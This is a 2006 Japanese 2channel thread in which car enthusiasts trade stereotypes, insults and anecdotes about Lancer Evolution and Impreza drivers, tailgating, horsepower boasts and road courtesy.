388 ：名無しさん＠そうだドライブへ行こう：2006/01/22(日) 18:21:16 ID:plkk5BsrO
確かに表題の通りエボインプはミラーに映ると嫌なんでしょうね
何もしてなくても煽られてると勘違いする人多いです
ハザードつけて停車までする人いますから…てか実は俺の顔が怖いのかもＷＷＷ
389 ：名無しさん＠そうだドライブへ行こう：2006/01/22(日) 18:28:28 ID:TmolbNtu0
ボンネットに穴が開いてるのが何か改造車って感じと（女の子）には言われる
まぁFitとかお買い物車に乗ってる奴からすれば敬遠するに越したことは無いんだろうな
390 ：名無しさん＠そうだドライブへ行こう：2006/01/22(日) 20:38:16 ID:HMcmoQ8/0
穴開きと、羽付きは改造車みたいなイメージはあるらしいな、女の子ｗｗ
391 ：名無しさん＠そうだドライブへ行こう：2006/01/22(日) 21:03:15 ID:lcGRmOyq0
ま、エボインプってメーカーが製造販売してる改造車といっても
あながち間違ってないけどねw
392 ：名無しさん＠そうだドライブへ行こう：2006/01/23(月) 02:25:50 ID:pzVbeDfAO
エボインプ…
乗ってる奴見ると、眼鏡に手袋装着！デブもしくはガリガリ。
車が恋人！車に乗れば直線速くてエバッテるが、地上に降りたら運動まったくダメ！人と目合わさね！弱すぎ！みたいなダサスギ男ばかり！
だからカッコ悪い！
センス0！
ま～頑張って！
393 ：名無しさん＠そうだドライブへ行こう：2006/01/23(月) 06:18:52 ID:tx4PQ7xh0
>>392
実際そういう男を知ってるから否定できんなｗｗ

メガネ・デブ・もてない・センス悪い・車命etc....

いや、むしろｶﾜｲｿｽ
394 ：名無しさん＠そうだドライブへ行こう：2006/01/23(月) 06:32:16 ID:bGK+wj+nO
>>392の文キモい
このレスを見るかぎり、ランエボかインプレッサに煽られてそーとー恐い想いをしたんだろね。
本人に直接言えないから、２ちゃんでｳｼﾞｳｼﾞｳｼﾞｳｼﾞ愚痴書き込んで、アキバ系のオタクまるだし

ストリーム乗りだけど、確かにランエボやインプレッサが後ろにいると、煽られてもいないのに煽られてる感じがする
395 ：名無しさん＠そうだドライブへ行こう：2006/01/23(月) 13:20:45 ID:pzVbeDfAO
>>394
エボ陰部に煽られた？→未経験…どこからそんな事が読み取れる？俺がアキバ系オタク？2chの汎用語ばかり使わず、自分の言葉で喋ってね。ボキャ貧君。

うちの出版社はエボ陰部乗りのオタばかり。クルマの話ししか出来ないツマラナイ人種。女には相手にされず。仕事でよく横に乗ると、前走車を煽る煽る！
車が速い→急にイキがり出す。恥ずかしいから降ろしてくれ…同じ人種に見られるのは御免だ。

エボ陰部で走ってるだけで『僕はダサイです』！と無言で言いふらしてるよーなもの…少しは気付いた方がいい。
396 ：名無しさん＠そうだドライブへ行こう：2006/01/23(月) 13:51:22 ID:GSDlCz6f0
と、本人に直接言えずに２ちゃんでｳｼﾞｳｼﾞｳｼﾞｳｼﾞ愚痴書き込んでる1がいるのはここですか？
397 ：名無しさん＠そうだドライブへ行こう：2006/01/23(月) 14:28:38 ID:bGK+wj+nO
陰部ってなんだよw
お前の方こそちゃんとした日本語使えよ

ところで出版社で働いてるんだ
なんか出版社で働いてる人てオタクっぽい奴が多そうw
398 ：名無しさん＠そうだドライブへ行こう：2006/01/23(月) 14:38:07 ID:S1SFNiPu0
ここは、エボとかにケツをよくつつかれるミニバン海苔のサモシイ集いですか？
399 ：名無しさん＠そうだドライブへ行こう：2006/01/23(月) 15:07:24 ID:nyzJOLmHO
>392
当たってるぞなもし

まさにおいらの姿
400 ：名無しさん＠そうだドライブへ行こう：2006/01/23(月) 15:28:44 ID:xnpeZhLz0
仙台育英高の生徒死傷事故、２７歳被告に懲役２０年


宮城県多賀城市の国道で昨年５月、仙台育英高のウオークラリーの列にレジャー用多目的車（ＲＶ）が突っ込み、
生徒ら１８人が死傷した事故で、危険運転致死傷罪に問われた同市山王、元会社員佐藤光被告（２７）の判決が２３日、仙台地裁であった。

卯木誠裁判長は、佐藤被告に求刑通り、懲役２０年を言い渡した。

起訴状などによると、佐藤被告は昨年５月２１日夜から翌２２日午前３時半ごろまで、仙台市内で飲酒。
多賀城市の自宅に帰ろうとＲＶを運転していたところ、同市八幡の国道４５号で、
学校行事のウオークラリーを行っていた仙台育英高の生徒らをはね、３人を死亡させ、１５人に重軽傷を負わせた。


（読売新聞） - 1月23日13時42分更新
401 ：名無しさん＠そうだドライブへ行こう：2006/01/23(月) 16:04:56 ID:rUZzwZYl0
疣陰部
402 ：名無しさん＠そうだドライブへ行こう：2006/01/23(月) 17:15:54 ID:Dt/KRFgJ0
>>395
コンプレックス丸出しｗｗｗｗｗｗ
403 ：名無しさん＠そうだドライブへ行こう：2006/01/23(月) 17:30:48 ID:42xvJu6Y0
インプ乗りから言わせてもらうと
充分な車間距離をとり、煽ってもないのに、道空ける男多すぎ
逆におばさんとか姉ちゃんは仮に煽ったとしても全然どかないんだけどな
404 ：名無しさん＠そうだドライブへ行こう：2006/01/23(月) 19:18:24 ID:Vy9HS+wm0
後続車がエボ・インプ　より

隣の車線にエボ・インプ　の方が一触即発になるんですが・・・
405 ：名無しさん＠そうだドライブへ行こう：2006/01/23(月) 23:15:48 ID:ExjGJFaoO
>>403
おばちゃん、ねーちゃんはミラー見てないからなＷＷＷ
猪突猛進というか前しか見てねー
406 ：名無しさん＠そうだドライブへ行こう：2006/01/24(火) 02:33:25 ID:idctgeaC0
>>395
今時「ボキャ貧君」はねぇだろ
出版社ｗ
407 ：名無しさん＠そうだドライブへ行こう：2006/01/24(火) 14:08:05 ID:uAlzrDhCO
>>395
安心しろ。
出版社勤務で２ちゃんに煽りの長文書きこんでる時点で
お前は車オタクではないが真性の秋葉オタクであるというのは
もうみんなにバレてるから。
408 ：名無しさん＠そうだドライブへ行こう：2006/01/24(火) 14:12:46 ID:po7BqeNr0
エボ・インプよりもエスティマに後ろ付かれた時の方が気分最悪です
409 ：名無しさん＠そうだドライブへ行こう：2006/01/24(火) 16:01:17 ID:mls00Fy10
エスティマは夜とか殺意を覚えるな
開発者が絶対に光軸の設計間違えたでしょってくらい眩しい
410 ：名無しさん＠そうだドライブへ行こう：2006/01/24(火) 17:45:15 ID:YEi/LNVrO
俺的にはシルビア系のほうが嫌なんだが…。
なんつうかガラが悪いっていうか…。
S14とかはなんか好感もてるんだが13と15は駄目なのが多い…。
ちなみに埼玉の場合です。そりゃ、13と15にもかっこいい運転してくれるかたたちもいますけど…。


で、エボ、インプはというとちょっとスイスイ走っててもついてくる。

でもついてくるだけでなんというか無理がないというか、普通な感じですっ。

ちなみに当方、2chでは水没で有名なカルタスのクレセントワゴンに楽しく乗ってます(´・ω・`)
411 ：名無しさん＠そうだドライブへ行こう：2006/01/24(火) 18:30:13 ID:llIDSV4X0
エボインプをやれば大佐だろうが総帥だろうが！

とシルビア海苔の俺が言ってみる
412 ：名無しさん＠そうだドライブへ行こう：2006/01/24(火) 19:23:37 ID:rm+dLiSk0
誰だよ、総帥ってw
413 ：名無しさん＠そうだドライブへ行こう：2006/01/24(火) 19:28:55 ID:klWgBFFo0
待て！フィンファンネルを外す！




とか釣られる漏れはインプ海苔・ガンヲタですか。そうですか。
414 ：名無しさん＠そうだドライブへ行こう：2006/01/24(火) 19:29:03 ID:tJZkoKHC0
俺1年前にS14のKsのダークブルーマイカーを中古で買って今も乗ってるんだが、これがまた激速なんだよっ!
チューニングはエアクリくらいでブーストも0.7くらいしかかからないのだが、これ多分当たりエンジンなんじゃね?
最近高速でフェラーリに煽られてムカついたものだから7割くらい踏んだらついてこれないんだよw
ニッサンの最強車ってGTRなんだろ?GTRとも直線張り合ったことあるけど負けたことないぜ?
ニッサンで最強車ってシルビアの間違えじゃねーの?w
もう現在でランエボ、RX7、スープラ80、チャイサー、33GTR、フェラーリを直線で買ってるわ。まじ速ーよ。S14。

カタログ値だと200そこそこなのに実感しているのは500馬力くらいにも思えるんだが?
これって当たりエンジンだからか?
そんで、車に目覚めてドレスアップもしようかとフルアエロにアンダーネオンやら投入してみたら、雑誌から取材願いもきちゃったしw
つうかマジでS14かっこよくね?とくにダークブルーってマジかっけーよ。
この色具合も珍しいしね。
現行の15なんてもっと激速なんか?
友達とかにも俺の14みせたら
渋いねー。

まじかっこいいよ!乗せて!!!
とかマジ連呼の嵐だもん。

この車で原宿の駅前とかいくと余裕で女捕まえられるし。
まじ14かっこいいわ。最近の車なんかより14のがイカス。
オマエラもそんなダサイ車じゃなくて14に乗り換えろよ。

今度また調子に乗ってサーキットに参加してみたいと考えてるよ。
俺の最強S14だったら多分余裕だと思うがw
もしかしたらプロにも勝てんじゃないのかw
415 ：名無しさん＠そうだドライブへ行こう：2006/01/24(火) 19:33:35 ID:gMozOM5+O
知らんがな(´･ω･｀)
416 ：名無しさん＠そうだドライブへ行こう：2006/01/24(火) 19:37:57 ID:YEi/LNVrO
S14のイメージを下げるために餌をまくなよw
417 ：名無しさん＠そうだドライブへ行こう：2006/01/24(火) 19:48:12 ID:oKabOHuX0
>>414
(´･ω･`)ﾃﾗｳﾗﾔﾏｼｽ
俺の１５なんかタービン交換して前置きインタークーラーつけて…
ブースト１．３位かけてようやく５００馬力あるかないかだからな。
418 ：名無しさん＠そうだドライブへ行こう：2006/01/24(火) 19:54:41 ID:YEi/LNVrO
カルタス…96馬力…。

500馬力…テラウラヤマシス(´・ω・`)
でも高速やサーキットじゃないと発揮できなくないですか？
町中ではどんな感じなんでしょ？？
419 ：名無しさん＠そうだドライブへ行こう：2006/01/24(火) 20:12:58 ID:mGlkClzn0
>>413
ガンオタならインプじゃなくてエボに乗るべきだろ
インプは萌え系アニオタ・エロゲオタ
エボはガンオタ・機械オタ
これが定説だ！！
420 ：名無しさん＠そうだドライブへ行こう：2006/01/24(火) 20:24:15 ID:KQ0EVvAM0
>>409
光軸なんていくらでも調整できるじゃん。
眩しいのが多いのは確かだが。
421 ：名無しさん＠そうだドライブへ行こう：2006/01/24(火) 20:37:33 ID:YEi/LNVrO
なるほど！
デザイン的にインプもエボも好きでカルタスに普通に乗ってる俺は萌えヲタでガンヲタですか、そうですかw
422 ：名無しさん＠そうだドライブへ行こう：2006/01/24(火) 20:51:22 ID:L2mqIw9b0
まぁＳＲエンジンで５００馬力なんて出してると
強化スリーブだの水穴埋めるだのしてもかな～り短命で終わり松
423 ：名無しさん＠そうだドライブへ行こう：2006/01/24(火) 21:01:39 ID:8Pm6zhABO
>>419
萌系アニメオタク、エロゲオタクはミニバンなんですけどw
あとガンダムオタクは高確率でＳＵＶに乗ってる
424 ：名無しさん＠そうだドライブへ行こう：2006/01/24(火) 21:14:40 ID:YEi/LNVrO
つまりぶっちゃけ普通の人もヲタもとりあえずなんか車に乗ってるわけですね！

つまり、言い出したらキリがないかとw
425 ：名無しさん＠そうだドライブへ行こう：2006/01/24(火) 21:32:56 ID:oKabOHuX0
>>422
普段はブースト１．０kgf/cm2くらいで推定350馬力くらいだお(´･ω･`)
ちなみに500馬はシャシダイの上でブースト1．7kgf/cm2かけたときだったお(´･ω･`)
426 ：名無しさん＠そうだドライブへ行こう：2006/01/24(火) 21:56:20 ID:T/J5r0gAO
>>425
おまいさっきはブースト1.3で500馬力ってw
427 ：名無しさん＠そうだドライブへ行こう：2006/01/24(火) 22:16:02 ID:Wa0iz69Q0
どちらにせよS15じゃあ冷却系が弱くて話にならんだろｗ
428 ：名無しさん＠そうだドライブへ行こう：2006/01/24(火) 22:37:54 ID:oKabOHuX0
>>426
誤爆った＿|￣|○
429 ：名無しさん＠そうだドライブへ行こう：2006/01/24(火) 22:38:34 ID:YEi/LNVrO
でも我が家の車五台分の馬力を一台でだしちゃうなんて、やっぱうらやましすぎる…。
430 ：名無しさん＠そうだドライブへ行こう：2006/01/24(火) 23:02:09 ID:fRdF24phO
FC乗りですが、
インプに乗ってるヤツ
馬鹿みたいに張り合ってくる。
こっちは
普通に走っているだけだが。
頭おかしいんじゃね？？
431 ：名無しさん＠そうだドライブへ行こう：2006/01/24(火) 23:10:44 ID:T/J5r0gAO
>>430
そいつきっと漫画の読みすぎでしょ
432 ：名無しさん＠そうだドライブへ行こう：2006/01/24(火) 23:14:46 ID:dB3sN4nF0
いや、>>430が自意識過剰なだけだろ
433 ：名無しさん＠そうだドライブへ行こう：2006/01/24(火) 23:17:56 ID:xj4Whvx00
>>430
張り合うとは同じ目標に向かって互いにせりあうこと。
つまりお前も同類ってこった
434 ：名無しさん＠そうだドライブへ行こう：2006/01/24(火) 23:18:50 ID:YEi/LNVrO
仮にインプをライフとかと置き換えてみれ！

そしたら、後ろの車は普通についてきてる、というか流れに乗ってるんだなと思えないかな？
435 ：名無しさん＠そうだドライブへ行こう：2006/01/24(火) 23:28:15 ID:Wa0iz69Q0
>430
現行型のインプ海苔ならFCなんて眼中にないと思うんだが・・・
古いインプだった？
436 ：名無しさん＠そうだドライブへ行こう：2006/01/24(火) 23:31:41 ID:YEi/LNVrO
とりあえず走り系の車に乗ってたら走り系の車に少しついていってどんな走りをするのか見てみたいってのはある。
437 ：名無しさん＠そうだドライブへ行こう：2006/01/24(火) 23:36:08 ID:Wa0iz69Q0
>436
それでも車間はそこそこ空けるっしょ？
んで後ろから付かず離れずでついていかないかな？普通
自分はそうするけど・・・
438 ：sage：2006/01/25(水) 00:50:24 ID:FoALB3Bz0
前で中途半端に飛ばすのが邪魔なんじゃねぇの？
439 ：エボ乗り眼鏡 ◆xgN5XKN0kA ：2006/01/25(水) 01:12:06 ID:xB5AqAWw0
ブースト１．０で５００馬力っていうのはありえないね
440 ：名無しさん＠そうだドライブへ行こう：2006/01/25(水) 03:21:21 ID:ZYm7+fWk0
脳内ですから
441 ：名無しさん＠そうだドライブへ行こう：2006/01/25(水) 04:48:14 ID:eMZUBSJqO
>>437
うん。ぴったりつくのは有り得ない。
前の車も不快だろうし…。
もしぴったり後ろにつかれたら、自分の場合、スリップストリームを得てるつもりですか？プッ
て感じでスルーします(´・ω・`)
442 ：名無しさん＠そうだドライブへ行こう：2006/01/25(水) 10:36:01 ID:bfP0rzz8O
>>430
分かる分かる。インポ海苔は自意識過剰。
速いのは高速や市街地の
広い道だけのヘッポコばっかw
俺のまわりで4人インポ海苔がいるんだけど、
ユーロビートをガンガンに流しながら走ってる変人w
443 ：名無しさん＠そうだドライブへ行こう：2006/01/25(水) 11:03:11 ID:OqTG4ryJ0
周りのインプ乗りってエロゲソング流してる奴ばっかなんだが
444 ：名無しさん＠そうだドライブへ行こう：2006/01/25(水) 11:08:27 ID:Tdhz318vO
>>443
どーせ書くんならもうちょいおもしろいネタ書けよ
オタク屑ヤローｗｗｗ
445 ：名無しさん＠そうだドライブへ行こう：2006/01/25(水) 11:46:01 ID:8g5LOcrh0
インポなんだからしょうがねーだろ
446 ：名無しさん＠そうだドライブへ行こう：2006/01/25(水) 11:46:31 ID:eMZUBSJqO
FMラジオをよく聞きます。
447 ：名無しさん＠そうだドライブへ行こう：2006/01/25(水) 11:57:28 ID:lq4cu02FO
>>442
周りにインプ海苔が４人もいるのかよｗ

お前の周りはお前自身も含めてオタクばかりであろうことはよくわかったｗ
類は友を呼ぶというやつだな。
448 ：名無しさん＠そうだドライブへ行こう：2006/01/25(水) 12:28:34 ID:eMZUBSJqO
あおるなよぉ(´・ω・`)

96馬力の車でなぜFMラジオを聞くか、だれか聞いてよ聞いてよ
449 ：名無しさん＠そうだドライブへ行こう：2006/01/25(水) 12:41:43 ID:bfP0rzz8O
>>447
442だが、たしかに言われた通りかもしれん。
俺も自他共に認めるキモオタだから、友達にはインポ海苔が多いw
450 ：名無しさん＠そうだドライブへ行こう：2006/01/25(水) 12:53:50 ID:ke6WTMep0
おれはインプなんだが、こっちはまったりなのに、ひっしで
あおってくるのがシビックだったりするんだよなー。
シビックがとなりきたら急に発進して無茶な速度でかっとんでったってのも
あったし。インテＲも坂とかはやいんだぞーみたく必死にかっとんでくの
もよくみるんだけど、ホンダのりはひっしなのおおいのか？
451 ：名無しさん＠そうだドライブへ行こう：2006/01/25(水) 17:24:47 ID:83Nl8Gtt0
「勝手にかっとんでいく＝煽る」なのか？　と応対してみる
452 ：名無しさん＠そうだドライブへ行こう：2006/01/25(水) 17:46:00 ID:Dks5andTO
数回 煽られただけで HONDAはとか 何々は とか言わないように

わたしはよく煽られる もちインプにも
453 ：名無しさん＠そうだドライブへ行こう：2006/01/25(水) 18:10:42 ID:6f5Mjuki0
>>452
いや、ホンダ海苔はよくそういうことをする。
っつかホンダと日産のスポーツタイプにそういうのが集中しててウザイ。
インプやエボはウザイというよりキモイ。Y32グロリアとボコボコの中古セルシオはコワイ
454 ：名無しさん＠そうだドライブへ行こう：2006/01/25(水) 18:42:30 ID:Tdhz318vO
まぁ、お前みたいなアニメばっか見てるオタクは２ちゃんで愚痴ってればいいって事か
その方が安全だもんな
オタクが唯一意気がれる場所、それが２ちゃん。
455 ：名無しさん＠そうだドライブへ行こう：2006/01/25(水) 19:05:48 ID:kCRT2xzq0
↑分かりやすい例だなｗ
456 ：名無しさん＠そうだドライブへ行こう：2006/01/25(水) 19:20:31 ID:DIj4eOAxO
インプにのってるけど、あおらないけどな。時間に余裕をもって出かけたりしてるから、必要ないし。必死にあおったところで大してかわらんがな。
457 ：名無しさん＠そうだドライブへ行こう：2006/01/25(水) 19:21:22 ID:6f5Mjuki0
>>454
俺に言ってるのか？
俺は公認競技での入賞歴（準優勝）あるし、若い頃は特攻服着て走り回ってた人間だからちょっとタイプが違うな。
今は学者だからある意味オタクだがｗでもまだ現役レーサーだよ
458 ：名無しさん＠そうだドライブへ行こう：2006/01/25(水) 19:36:01 ID:EXmgoWnf0
標準車のバンパー・ボンネットでもちろんエアロ類は一切無しの
ランエボを作ってくれればすぐ買うのになぁ
冷却性能の低下はダクト類を多用して同性能にしてさ
バックミラーでは全く判別できないレベルがイイ
459 ：名無しさん＠そうだドライブへ行こう：2006/01/25(水) 20:06:04 ID:gAAEBNa20
エボ1じゃん
100万そこそこのランサーに200万のエンジン載せてたよな
460 ：名無しさん＠そうだドライブへ行こう：2006/01/25(水) 20:12:33 ID:ZQq0LeGEO
フォレ乗りなんだけど、インプが煽る訳でも無く付いてくる…。
461 ：名無しさん＠そうだドライブへ行こう：2006/01/25(水) 20:51:38 ID:MBi6vmgr0
フォレスターは俺の中では印象悪いな
特に現行型　なんつーか運転が雑な奴多い
462 ：名無しさん＠そうだドライブへ行こう：2006/01/25(水) 23:05:03 ID:nKhIlrzb0
本日の車板で最強に痛い電波系キモオタ晒し上げ
↓　　　　　　　　　　↓　　　　　　　　↓

453 ：名無しさん＠そうだドライブへ行こう ：2006/01/25(水) 18:10:42 ID:6f5Mjuki0
>>452
いや、ホンダ海苔はよくそういうことをする。
っつかホンダと日産のスポーツタイプにそういうのが集中しててウザイ。
インプやエボはウザイというよりキモイ。Y32グロリアとボコボコの中古セルシオはコワイ

↓　　　　　　　　　　　　　　　↓　　　　　　　　　　　　　　　　↓

457 ：名無しさん＠そうだドライブへ行こう ：2006/01/25(水) 19:21:22 ID:6f5Mjuki0
>>454
俺に言ってるのか？
俺は公認競技での入賞歴（準優勝）あるし、若い頃は特攻服着て走り回ってた人間だからちょっとタイプが違うな。
今は学者だからある意味オタクだがｗでもまだ現役レーサーだよ
463 ：名無しさん＠そうだドライブへ行こう：2006/01/26(木) 00:05:14 ID:hgkLEV0k0
>>460
ヒント：スリップストリーム、原油高
464 ：453：2006/01/26(木) 01:02:45 ID:0CXWuYKD0
何勝手に曝してるんだよ！オレの経歴にビビッたのか？

まぁ今日は電波ﾕﾝﾕﾝだからな!!
465 ：名無しさん＠そうだドライブへ行こう：2006/01/26(木) 01:57:14 ID:R9qtMABB0
>>452
お前が運転下手なだけ
466 ：名無しさん＠そうだドライブへ行こう：2006/01/26(木) 07:47:00 ID:HBNUMY6fO
昨日オレの前走ってたインプ、ヒドイ運転だった。煽る、譲らない、ウィンカー出さない。そんなオレもインプ糊（´・ω・｀）
467 ：名無しさん＠そうだドライブへ行こう：2006/01/26(木) 08:22:12 ID:Sw4oOoZN0
車線狭まってるのに無理やり追い抜きかけようとしてたバカエボをひさしぶりにﾊｹｰﾝ(・∀・)ﾆﾔﾆﾔ
ああいうのはただの無謀運転、市街地じゃパワーより先読みだよ

ノーマルカーで遊んであげました(´∀｀*)
468 ：名無しさん＠そうだドライブへ行こう：2006/01/26(木) 08:32:52 ID:gFP+/p02O
加速じゃ勝てないのに遊んであげたって…
脳外科に行った方がいいよ
469 ：名無しさん＠そうだドライブへ行こう：2006/01/26(木) 10:33:18 ID:GAunqqj0O
先がつまってるから加速できないのでは？と予測

そんな俺、インプ買いたい
470 ：名無しさん＠そうだドライブへ行こう：2006/01/26(木) 11:23:36 ID:BcSPkX/k0
>>467
ウンコが漏れそうだったんだよ・・・・それくらい察してやれよ
471 ：名無しさん＠そうだドライブへ行こう：2006/01/26(木) 12:13:31 ID:Vdqxbb0g0
>>470
(´･ω･`)つ　ブローオフバルブ
472 ：名無しさん＠そうだドライブへ行こう：2006/01/26(木) 14:27:42 ID:GAunqqj0O
どっからウンコださそうとしてんだよw
473 ：名無しさん＠そうだドライブへ行こう：2006/01/26(木) 16:50:56 ID:Vdqxbb0g0
>>472
期待通りのレスサンクス(・∀・)ノ
474 ：名無しさん＠そうだドライブへ行こう：2006/01/26(木) 18:15:23 ID:GAunqqj0O
>>473
こっちこそ、不意に面白いネタきてワラタよwサンクス
475 ：名無しさん＠そうだドライブへ行こう：2006/01/26(木) 18:41:51 ID:ZxKTD5JV0
確かに織れはガンヲタのエボ遣いだが
車に乗ってる時はガンダムは頭の中から外れてるよ・・・・・
476 ：名無しさん＠そうだドライブへ行こう：2006/01/26(木) 18:44:52 ID:ZMj0SKr70
EVOを煽ったインプが居ました。バトルか？興味がわいたので追っかけていったらEVOがあっさり道明けてるから
俺もEVO煽って抜いてやった。さんざんなEVOめ！
477 ：名無しさん＠そうだドライブへ行こう：2006/01/26(木) 18:49:20 ID:GAunqqj0O
ぶっちゃけ車とガンダムは別じゃね？
かくばったデザインとかダクトあきまくりとな変形しそうなデザインがガンダムと結びつけてるのかな？

どちらかというと、ラリーで活躍しててかっこいいからエボやインプを選ぶってのが俺の思ってるインプ乗りやエボ乗りの感じなんだけど。
478 ：名無しさん＠そうだドライブへ行こう：2006/01/26(木) 18:50:20 ID:ZxKTD5JV0
↑単に安全運転してただけでしょう・・・
479 ：名無しさん＠そうだドライブへ行こう：2006/01/26(木) 18:53:15 ID:ZMj0SKr70
昔高速でEVOに煽られて左斜線入ったらクラクションならして抜いていったから
EVO海苔は良くないね
480 ：名無しさん＠そうだドライブへ行こう：2006/01/26(木) 18:58:29 ID:ZxKTD5JV0
ヘンケン
481 ：名無しさん＠そうだドライブへ行こう：2006/01/26(木) 18:59:30 ID:oTR2gdkM0
476みたいな書き込み見ると、うかつに道を譲れんなぁ
なんか勘違いされそうだしｗ
ケツ捲って来る奴がいたら普通に道譲るだろ？
登板車線とかも活用して
482 ：名無しさん＠そうだドライブへ行こう：2006/01/26(木) 19:06:35 ID:BEXnippo0
ヲタだけじゃ200万円以上する車は買えません
483 ：名無しさん＠そうだドライブへ行こう：2006/01/26(木) 19:54:29 ID:Sw4oOoZN0
>>479
お礼じゃないのか？

484 ：名無しさん＠そうだドライブへ行こう：2006/01/26(木) 20:36:56 ID:lCCDqQYM0
そういう礼の仕方は聞いた事が無いな。
485 ：名無しさん＠そうだドライブへ行こう：2006/01/26(木) 20:51:48 ID:GAunqqj0O
プッて軽くならすのはお礼なんじゃない？
どうかな？
486 ：名無しさん＠そうだドライブへ行こう：2006/01/26(木) 22:47:26 ID:zCht3o1DO
譲ってもらったら抜きざまにﾊｻﾞｰﾄﾞじゃねーか？
487 ：名無しさん＠そうだドライブへ行こう：2006/01/26(木) 22:52:26 ID:GAunqqj0O
一昔前はプッ！が主流だった(？)からその生き残りがやったんじゃないかな？
サンキューハザードは比較的新めな挨拶じゃないかな？
いわば、生きた化石…ということです
488 ：名無しさん＠そうだドライブへ行こう：2006/01/26(木) 23:23:06 ID:AKKr55Up0
俺の場合

道を譲ってもらったら右手を上げるか、軽くクラクション
車線変更したら後方の車に対して失礼･･･のハザード一回
489 ：名無しさん＠そうだドライブへ行こう：2006/01/27(金) 00:29:42 ID:UqhP9tMeO
ｸﾗ糞ﾝだと、ありがと！って感じを醸し出したいのに、ビーｯて鳴らしてまう時がある
orz
490 ：名無しさん＠そうだドライブへ行こう：2006/01/27(金) 00:59:04 ID:XB0PksT30
>>479
クラクションは単にお礼の意味合いだろ
491 ：名無しさん＠そうだドライブへ行こう：2006/01/27(金) 01:00:59 ID:XB0PksT30
下まで読まずに書き込んだ・・・ｽﾏﾇ

>>488
高速だと意味ﾅｻｽ
492 ：名無しさん＠そうだドライブへ行こう：2006/01/27(金) 02:38:30 ID:v8r8EP5KO
追い越し際にｸﾗｸｼｮﾝを鳴らすのは挨拶なのでは?
逆に悪意があって煽る場合、追い越し際でなく煽る時にｸﾗｸｼｮﾝを鳴らすんじゃないかと。

>>476
エボ乗りですが、他の方々に偏見の眼差しで見られる機会が多い車ですので
出来る限り安全運転を心掛けています。
壁┃∀･)
493 ：名無しさん＠そうだドライブへ行こう：2006/01/27(金) 13:47:53 ID:I2XzvYjK0
安全運転だとへたれと言われ
スピード出すと調子に乗るなと言われる
大変だなエボ乗りは
494 ：492：2006/01/27(金) 15:56:04 ID:KKYQguLIO
>>493
その通りに偏見される機会が多いです。ですが公道
で他の方々に迷惑を掛ける運転は慎むべきで、例え
へたれと罵られようと安全運転を心掛けています。
迷惑をお掛けしない所で存分に楽しんでいます。
私事ですいません。
495 ：名無しさん＠そうだドライブへ行こう：2006/01/27(金) 17:56:54 ID:a5S8AJQv0
インプ則だが、やはりバトルがしたい。
496 ：名無しさん＠そうだドライブへ行こう：2006/01/27(金) 18:09:39 ID:GbzWMWtIO
前が糞バンの方が100倍嫌です
497 ：名無しさん＠そうだドライブへ行こう：2006/01/27(金) 18:47:00 ID:edzgbMsl0
エボ糊だが生活道路でのシグナルバトルだけは勘弁。
498 ：名無しさん＠そうだドライブへ行こう：2006/01/27(金) 23:45:59 ID:748ZjdkA0
車板ではエボインプのことを「キモい」と言うのが叩きの決まり文句になってるようだが

見方を変えれば、「キモい」以外に叩き文句があまり見つからない車と言えるのではないか？
499 ：名無しさん＠そうだドライブへ行こう：2006/01/27(金) 23:52:53 ID:PmlfwPsc0
>>498
おまえ頭いいな！
500 ：名無しさん＠そうだドライブへ行こう：2006/01/28(土) 01:06:09 ID:Md7IJidq0
まぁどんな人が運転しても速い車だからかな
501 ：名無しさん＠そうだドライブへ行こう：2006/01/28(土) 17:44:33 ID:CUUA8F/N0
誰が乗ってもそこそこ速いとは言える
キレるタイムを出すには性格的にもキレてないと駄目
502 ：名無しさん＠そうだドライブへ行こう：2006/01/28(土) 18:11:22 ID:8FVSDIy/0
そのまえにおまえの余分な肉を切れよ
503 ：名無しさん＠そうだドライブへ行こう：2006/01/28(土) 19:50:46 ID:1Ub+tIIM0
エボインプ海苔でキレやすい性格の人って少ないと思う。
そうゆう性格だったらエボインプ買えるぐらいの収入ある仕事就けないだろうし。
俺の知り合いのエボインプ海苔は全員、悠々自適の公務員。
504 ：名無しさん＠そうだドライブへ行こう：2006/01/28(土) 19:52:45 ID:lK2zdKMd0
>503
この前もエボ乗りの歯医者が廃車にしてたくらいだから
そうとも言えないだろう
505 ：名無しさん＠そうだドライブへ行こう：2006/01/28(土) 21:10:25 ID:q+lJmtjb0
すぐ切れるんならエボ何台あっても足らんわ。
506 ：名無しさん＠そうだドライブへ行こう：2006/01/28(土) 21:25:45 ID:6R6IHC5MO
ゆっくりまったり乗るんなら、エボやインプはいらねぇやん。 軽のバンにでも乗ればいい。
507 ：名無しさん＠そうだドライブへ行こう：2006/01/28(土) 21:27:40 ID:oEJ/zYLHO
おい、誰か>>504にタカアンドトシ風にツッコンでやれよwwwww
508 ：名無しさん＠そうだドライブへ行こう：2006/01/28(土) 21:34:19 ID:q+lJmtjb0
DQNミニバンの、金のローマ字筆記体もキモいだろ。
509 ：名無しさん＠そうだドライブへ行こう：2006/01/28(土) 21:39:02 ID:FXMYf+K6O
恐れ多くも国産最強の２台だぞ!!頭がたかーい鼻がひくーい
510 ：名無しさん＠そうだドライブへ行こう：2006/01/28(土) 21:43:05 ID:r+jrWFaeO
>>504
この寒い時期にお前って奴は・・・
511 ：名無しさん＠そうだドライブへ行こう：2006/01/28(土) 21:48:03 ID:xGNq/ZWrO
私は通勤にエボ乗って行ってます。
初めて見る人はみんなビックリするけど、男性って以外とエボ好きなんだね☆
2chで書いてる内容と違うし☆
512 ：名無しさん＠そうだドライブへ行こう：2006/01/28(土) 21:50:06 ID:q+lJmtjb0
↑
何を今更。
513 ：名無しさん＠そうだドライブへ行こう：2006/01/28(土) 21:51:06 ID:EpD4ceOQ0
>>503
俺の友人にインプ海苔が2人いるんだが、
一人は温厚そのもの、子供のころからキレたことがないってﾔｼで、
もう一人は週3～4回は運転中にキレてるﾔｼだぉ。

二人とも原因は異なれど去年事故ってたが。
温厚なほうは涙目インプで事故って現行インプに乗り換えて、
キレるほうはGCで事故って親からスポーツカー禁止令が下った。
でもランエボのGT-A買ってウィング外して普通のセダンと言い張る気らしい。
514 ：名無しさん＠そうだドライブへ行こう：2006/01/28(土) 21:51:56 ID:BK0PRGTT0
インプ、エボに乗ってる香具師に限って運転下手なことが多杉るから気にしなくて良いかと…
515 ：名無しさん＠そうだドライブへ行こう：2006/01/28(土) 21:52:25 ID:MVZljNVbO
俺はGT-R好きだったな
エボ　インプは嫌いだった
エボ　インプが好きになると同時にGT-Rが嫌いになった
516 ：名無しさん＠そうだドライブへ行こう：2006/01/28(土) 21:55:23 ID:Qsz4tmB00
香具師とか使う人まだいたのかこの板・・・
517 ：名無しさん＠そうだドライブへ行こう：2006/01/28(土) 22:08:20 ID:f+8O9wnW0
